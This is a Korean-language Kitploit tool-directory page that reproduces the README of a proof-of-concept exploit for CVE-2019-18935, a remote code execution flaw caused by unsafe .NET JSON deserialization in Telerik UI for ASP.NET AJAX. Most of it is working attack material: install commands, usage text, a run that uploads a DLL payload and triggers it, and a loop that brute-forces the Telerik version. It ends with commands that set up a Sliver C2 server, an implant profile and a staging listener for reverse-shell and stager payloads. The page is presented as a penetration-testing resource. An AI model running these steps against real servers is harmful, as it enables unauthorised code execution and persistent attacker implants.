Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-18935 — Telerik UI for ASP.NET AJAX의 .NET JSON 역직렬화 취약점에 대한 RCE 익스플로잇. | Kitploit
도구/GitHubGitHub/noperator/cve-2019-18935
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubnoperator/cve-2019-18935

CVE-2019-18935

Telerik UI for ASP.NET AJAX의 .NET JSON 역직렬화 취약점에 대한 RCE 익스플로잇.

저장소 보기
37388134년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-18935

Telerik UI for ASP.NET AJAX의 .NET JSON 역직렬화 취약점에 대한 개념 증명 익스플로잇으로, 원격 코드 실행을 가능하게 합니다.

설명

Telerik UI for ASP.NET AJAX는 웹 애플리케이션을 위한 널리 사용되는 UI 구성 요소 모음입니다. 이는 JSON 객체를 안전하지 않은 방식으로 역직렬화하여 소프트웨어의 기본 호스트에서 임의의 원격 코드 실행을 초래합니다. 자세한 내용은 다음을 참조하세요:

  • DerpCon 강연 .NET Roulette (슬라이드)는 안전하지 않은 역직렬화 악용에 대한 추가 기초를 설명하고, 이를 이 익스플로잇에 적용하며, ASP.NET 웹 애플리케이션에서 셸을 얻기 위한 몇 가지 팁과 요령을 소개합니다.
  • Bishop Fox의 전체 작성글에는 이 취약점에 대한 완전한 분석과 이 이슈에 대한 익스플로잇 세부 정보(패치 지침 포함)가 포함되어 있습니다.

시작하기

사전 요구사항

혼합 모드 .NET 어셈블리 DLL 페이로드를 build-dll.bat를 사용하여 컴파일하려면 Visual Studio와 .NET Framework SDK가 필요합니다.

설치

git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

이 익스플로잇은 RAU_crypto의 암호화 로직을 활용합니다. RAU_crypto.py 내의 RAUCipher 클래스는 PyCryptodome에 의존하는데, 이는 죽은 PyCrypto 모듈을 대체할 수 있는 드롭인 교체입니다. PyCryptodome과 PyCrypto는 같은 환경에 설치되면 문제를 일으키므로, 이 의존성을 충족시키는 가장 좋은 방법은 위에 표시된 대로 가상 환경 내에 모듈을 설치하는 것입니다.

구성

build-dll.bat의 17번째 줄을 Visual Studio 설치 경로로 설정하세요.

set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

사용법

$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

혼합 모드 .NET 어셈블리 DLL 페이로드 컴파일

일부 페이로드(예: reverse-shell.c 및 sliver-stager.c)는 HOST 및 PORT 필드를 C2 서버를 가리키도록 설정해야 합니다. 반드시 그렇게 하세요!

Visual Studio가 설치된 Windows 환경에서 build-dll.bat를 사용하여 역직렬화 중 페이로드로 사용할 32비트 및 64비트 혼합 모드 어셈블리 DLL을 생성합니다. 두 번째 CLI 인수(예: x86)로 대상 CPU 아키텍처를 선택적으로 지정할 수 있습니다.

build-dll.bat sleep.c

페이로드를 대상에 업로드하고 애플리케이션에 로드

위에서 생성된 DLL을 CVE-2019-18935.py에 전달하면, 대상 서버의 디렉토리(웹 서버에 해당 디렉토리에 대한 쓰기 권한이 있는 경우)에 DLL을 업로드한 후, 안전하지 않은 역직렬화 익스플로잇을 통해 해당 DLL을 애플리케이션에 로드합니다.

$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

위 예제에서 애플리케이션은 응답하는 데 최소 10초가 걸렸으며, 이는 DLL 페이로드가 Sleep(10000)을 성공적으로 호출했음을 나타냅니다.

Telerik UI 버전 무차별 대입

DerpCon 강연 .NET Roulette (39:46)에서 자세히 설명된 대로, 파일을 업로드할 때 Telerik.Web.UI 어셈블리의 주 버전(즉, 전체 버전 문자열 2017.2.503.40의 2017 부분)만 지정하여 Telerik UI 버전을 무차별 대입할 수 있습니다. 이 기술은 이 소프트웨어의 각 특정 릴리스를 무차별 대입하는 것에 비해 검색 공간을 크게 줄이며, 추가 이점으로 이 소프트웨어의 릴리스 기록에 명시적으로 나열되지 않은 버전도 감지할 수 있습니다. .NET 어셈블리 버전 관리에 대한 자세한 내용은 MSDN에서 확인하세요.

$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Sliver C2 프레임워크를 이용한 임플란트

커스텀 Sliver 스테이저 페이로드 sliver-stager.c는 Metasploit의 스테이징 프로토콜을 따라 Sliver 서버(스테이징 서버)로부터 Sliver 셸코드(스테이지)를 수신하고 실행합니다. 이 작동 방식에 대한 자세한 내용은 페이로드 소스의 헤더를 읽어보세요.

Sliver 서버를 시작합니다. 서버 설정에 대한 자세한 내용은 여기를 참조하세요.

MINGW_PATH='/usr/bin'  # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server

Sliver 서버에서 C2 엔드포인트(여기서는 mTLS 리스너를 사용하고 있지만 HTTP 또는 DNS도 사용 가능)를 열고, 임플란트 프로필을 생성한 다음, 해당 프로필에 연결된 스테이징 리스너를 생성합니다. 스테이징된 페이로드에 대한 자세한 내용은 여기를 참조하세요. Sliver 문서에서 제안하는 대로 generate stager를 사용하여 Sliver 스테이저를 생성하는 것이 아니라, 대신 커스텀 sliver-stager.c를 사용합니다.

⚠️ 경고: 잘못된 CPU 아키텍처의 스테이지를 보내면 대상 프로세스가 _충돌_합니다! 예를 들어, 대상이 32비트 버전의 Telerik UI를 실행 중이고 스테이징 서버가 32비트 스테이저에 64비트 스테이지를 보내면 웹 서버 프로세스가 충돌합니다. 다음 예제에서는 32비트 셸코드를 생성하지만, new-profile 명령의 --arch 플래그를 사용하여 대상의 CPU 아키텍처와 일치시켜야 합니다.

sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32

sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
도구 다운로드